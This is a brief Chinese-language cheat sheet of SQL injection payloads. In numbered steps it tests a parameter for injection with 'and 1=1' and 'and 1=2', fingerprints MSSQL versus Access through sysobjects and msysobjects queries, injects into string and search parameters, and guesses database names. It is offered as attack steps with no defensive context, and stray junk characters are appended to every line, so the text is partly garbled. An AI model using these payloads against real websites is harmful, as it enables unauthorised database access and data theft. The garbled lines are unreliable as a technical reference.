1.判断是否有注入;and 1=1 ;and 1=2 ~'iuh>O)
2.初步判断是否是mssql ;and user>0 Qz;"b!
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3.注入参数是字符'and [查询条件] and ''=' %SXqJW^:
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 5S bSz!s`$
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5.判断数据库系统 Xw)+5+t"{
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;and (select count(*) from sysobjects)>0 mssql 0@;E8^pa
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;and (select count(*) from msysobjects)>0 access ?zqXHv#x
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 '#?hm-Ga
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